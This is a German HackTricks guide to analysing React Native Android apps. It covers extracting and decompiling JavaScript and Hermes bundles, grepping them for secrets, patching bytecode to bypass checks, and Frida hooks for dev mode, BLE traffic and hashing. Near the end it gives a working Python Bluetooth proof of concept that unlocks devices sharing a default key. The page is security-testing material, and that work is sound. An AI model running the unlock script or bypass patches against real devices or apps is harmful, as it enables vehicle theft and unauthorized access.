React Native Application Analysis

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Um zu bestÀtigen, ob die Anwendung mit dem React Native Framework erstellt wurde, gehen Sie wie folgt vor:

  1. Benennen Sie die APK-Datei mit der Endung .zip um und entpacken Sie sie in einen neuen Ordner mit dem Befehl cp com.example.apk example-apk.zip und unzip -qq example-apk.zip -d ReactNative.

  2. Wechseln Sie in den neu erstellten ReactNative-Ordner und suchen Sie den assets-Ordner. In diesem Ordner sollten Sie die Datei index.android.bundle finden, die das React-JavaScript in minifiziertem Format enthÀlt.

  3. Verwenden Sie den Befehl find . -print | grep -i ".bundle$" um die JavaScript-Datei zu suchen.

Hinweis: Wenn Ihnen ein Android App Bundle (.aab) anstelle einer APK gegeben wird, erzeugen Sie zuerst eine Universal-APK und extrahieren dann das Bundle:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript-Code

Wenn Sie den Inhalt der index.android.bundle ĂŒberprĂŒfen, finden Sie den JavaScript-Code der Anwendung (auch wenn er minified ist). Sie können ihn analysieren, um sensible Informationen und Schwachstellen zu finden.

Da das Bundle tatsÀchlich den gesamten JS-Code der Anwendung enthÀlt, ist es möglich, es mit dem Tool react-native-decompiler in verschiedene Dateien aufzuteilen (was das Reverse Engineering potenziell erleichtert).

Webpack

Um den JavaScript-Code weiter zu analysieren, können Sie die Datei auf https://spaceraccoon.github.io/webpack-exploder/ hochladen oder folgenden Schritten folgen:

  1. Erstellen Sie eine Datei namens index.html im selben Verzeichnis mit folgendem Code:
<script src="./index.android.bundle"></script>
  1. Öffne die Datei index.html in Google Chrome.

  2. Öffne die Developer Toolbar, indem du Command+Option+J for OS X oder Control+Shift+J for Windows drĂŒckst.

  3. Klicke in der Developer Toolbar auf “Sources”. Du solltest eine JavaScript-Datei sehen, die in Ordner und Dateien aufgeteilt ist und das Hauptbundle bildet.

Wenn du eine Datei namens index.android.bundle.map findest, kannst du den Quellcode im unminified Format analysieren. Map-Dateien enthalten source mapping, das es erlaubt, minifizierte Bezeichner zuzuordnen.

Um nach sensiblen credentials und endpoints zu suchen, befolge diese Schritte:

  1. Identifiziere sensitive SchlĂŒsselwörter, um den JavaScript-Code zu analysieren. React Native applications nutzen hĂ€ufig Drittanbieter-Services wie Firebase, AWS S3 service endpoints, private keys usw.

  2. In diesem speziellen Fall wurde beobachtet, dass die Anwendung den Dialogflow service verwendet. Suche nach einem Pattern im Zusammenhang mit dessen Konfiguration.

  3. GlĂŒcklicherweise wurden wĂ€hrend des recon-Prozesses sensible hard-coded credentials im JavaScript-Code gefunden.

Quick secrets/endpoint hunting in bundles

Diese einfachen greps bringen oft interessante Indikatoren zutage, selbst in minifizierten JS:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

If you suspect Over-The-Air update frameworks, also hunt for:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

JS-Code Àndern und neu bauen

In diesem Fall ist das Ändern des Codes einfach. Du musst nur die App so umbenennen, dass sie die Erweiterung .zip verwendet, und sie dann entpacken. Anschließend kannst du den JS-Code innerhalb dieses Bundles modifizieren und die App neu bauen. Das sollte ausreichen, um dir zu erlauben, inject code in der App fĂŒr Testzwecke durchzufĂŒhren.

Hermes bytecode

Wenn das Bundle Hermes bytecode enthÀlt, wirst du nicht in der Lage sein, auf den Javascript-Code der App zuzugreifen (nicht einmal auf die minified-Version).

Du kannst prĂŒfen, ob das Bundle Hermes bytecode enthĂ€lt, indem du den folgenden Befehl ausfĂŒhrst:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

Du kannst jedoch die Tools hbctool, aktualisierte Forks von hbctool, die neuere Bytecode-Versionen unterstĂŒtzen, hasmer, hermes_rs (Rust-Bibliothek/APIs) oder hermes-dec verwenden, um disassemble the bytecode und auch decompile it to some pseudo JS code. Zum Beispiel:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tipp: Das Open-Source-Projekt Hermes liefert in bestimmten Releases auch Developer-Tools wie hbcdump. Wenn du die passende Hermes-Version baust, die zur Erstellung des Bundles verwendet wurde, kann hbcdump Funktionen, String-Tabellen und bytecode fĂŒr eine tiefere Analyse dumpen.

Code Àndern und neu bauen (Hermes)

Idealerweise solltest du den disassemblierten Code Àndern können (z. B. einen Vergleich oder einen Wert) und dann den bytecode neu bauen und die App neu erstellen.

  • Das originale hbctool unterstĂŒtzt das Disassemblieren des Bundles und das ZurĂŒckbauen nach Änderungen, unterstĂŒtzte historisch jedoch nur Ă€ltere bytecode-Versionen. Community-gepflegte Forks erweitern die UnterstĂŒtzung auf neuere Hermes-Versionen (including mid-80s–96) und sind oft die praktischste Option, um moderne RN-Apps zu patchen.
  • Das Tool hermes-dec unterstĂŒtzt nicht das Neuaufbauen des bytecode (decompiler/disassembler only), ist aber sehr hilfreich, um Logik zu durchsuchen und Strings zu dumpen.
  • Das Tool hasmer zielt darauf ab, sowohl Disassembly als auch Assembly fĂŒr mehrere Hermes-Versionen zu unterstĂŒtzen; Assembly reift noch, ist aber einen Versuch auf aktuellem bytecode wert.

Ein minimaler Workflow mit hbctool-Ă€hnlichen Assemblern:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Beachte, dass das Hermes-Bytecode-Format versioniert ist und der Assembler exakt dem on-disk-Format entsprechen muss. Wenn du Formatfehler erhÀltst, wechsel zu einem aktualisierten Fork/Alternativprojekt oder baue die passenden Hermes-Tools neu.

Dynamische Analyse

Eine Möglichkeit, die App dynamisch zu analysieren, ist Frida zu verwenden, um den Entwicklermodus der React-App zu aktivieren und react-native-debugger anzuhĂ€ngen. Allerdings brauchst du dafĂŒr offenbar den Quellcode der App. Mehr Informationen dazu findest du unter https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.

Enabling Dev Support in release with Frida (caveats)

Einige Apps liefern versehentlich Klassen mit, die Dev Support umschaltbar machen. Falls vorhanden, kannst du versuchen, getUseDeveloperSupport() dazu zu zwingen, true zurĂŒckzugeben:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

Warnung: In ordnungsgemĂ€ĂŸ gebauten Release-Builds werden DevSupportManagerImpl und zugehörige nur fĂŒr Debugging bestimmte Klassen entfernt, und das Umschalten dieses Flags kann die App zum Absturz bringen oder keine Wirkung haben. Wenn das funktioniert, kann man typischerweise das Dev-Menu sichtbar machen und Debugger/Inspectoren anhĂ€ngen.

Netzwerk-Abfangen in RN-Apps

React Native Android verlĂ€sst sich typischerweise auf OkHttp unter der Haube (ĂŒber das Networking native module). Um Traffic auf einem nicht-gerooteten GerĂ€t wĂ€hrend dynamischer Tests abzufangen/zu beobachten:

  • Verwende Systemproxy und vertraue der User-CA oder nutze andere generische Android TLS-Bypass-Techniken.
  • RN-spezifischer Tipp: Wenn die App Flipper irrtĂŒmlich im Release bĂŒndelt (Debug-Tooling), kann das Flipper Network plugin Anfragen/Antworten offenlegen.

FĂŒr generische Android-Abfang- und Pinning-Bypass-Techniken siehe:

Make APK Accept CA Certificate

Objection Tutorial

Runtime-GATT-Protokollerkennung mit Frida (Hermes-freundlich)

Wenn Hermes-Bytecode eine einfache statische Inspektion des JS blockiert, hook the Android BLE stack stattdessen. android.bluetooth.BluetoothGatt und BluetoothGattCallback machen alles sichtbar, was die App sendet/empfĂ€ngt, sodass du proprietĂ€re Challenge-Response- und Command-Frames rĂŒckentwickeln kannst, ohne JS-Quellcode.

Frida GATT logger (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest`, um hash-basierte Handshakes zu fingerprinten und die exakte Eingabenkonkatenation zu erfassen:

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

Ein realer BLE-Ablauf, der auf diese Weise rekonstruiert wurde:

  • Challenge von 00002556-1212-efde-1523-785feabcd123 auslesen.
  • Berechne response = SHA1(challenge || key), wobei der key ein 20-Byte-Default 0xFF war, der auf allen GerĂ€ten provisioniert wurde.
  • Schreibe die response an 00002557-1212-efde-1523-785feabcd123, dann sende Befehle an 0000155f-1212-efde-1523-785feabcd123.

Sobald authentifiziert, waren die Befehle 10-Byte-Frames an ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Beispiele: entriegeln 00 D4 00 01 00 00 00 00 00 00, verriegeln ...02..., Eco-Modus an ...03...01..., Batteriefach öffnen ...04.... Benachrichtigungen kamen auf 0000155e-1212-efde-1523-785feabcd123 an (2-Byte-Register + payload), und Registerwerte konnten abgefragt werden, indem man die Register-ID an 00001564-1212-efde-1523-785feabcd123 schrieb und dann von ...155f... zurĂŒcklas.

Bei einem gemeinsamen/Standard-SchlĂŒssel bricht das Challenge-Response-Verfahren zusammen. Jeder in der NĂ€he befindliche Angreifer kann den Digest berechnen und privilegierte Befehle senden. Ein minimales bleak PoC:

Python (bleak) BLE-Auth + Entriegeln ĂŒber Standard-SchlĂŒssel ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## Aktuelle Probleme in beliebten RN‑Bibliotheken (worauf zu achten)

Beim Audit von Drittanbieter‑Modulen, die im JS bundle oder in nativen libs sichtbar sind, auf bekannte vulns prĂŒfen und Versionen in `package.json`/`yarn.lock` verifizieren.

- react-native-mmkv (Android): Versionen vor 2.11.0 haben den optionalen encryption key in die Android-Logs geschrieben. Wenn ADB/logcat verfĂŒgbar ist, könnten secrets ausgelesen werden. Sicherstellen, dass Version >= 2.11.0 verwendet wird. Indikatoren: Nutzung von `react-native-mmkv`, Logausgaben, die MMKV init with encryption erwĂ€hnen. CVE-2024-21668.
- react-native-document-picker: Versionen < 9.1.1 waren anfĂ€llig fĂŒr path traversal auf Android (Dateiauswahl), behoben in 9.1.1. Validiere Eingaben und die Library-Version.

Schnelle Checks:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks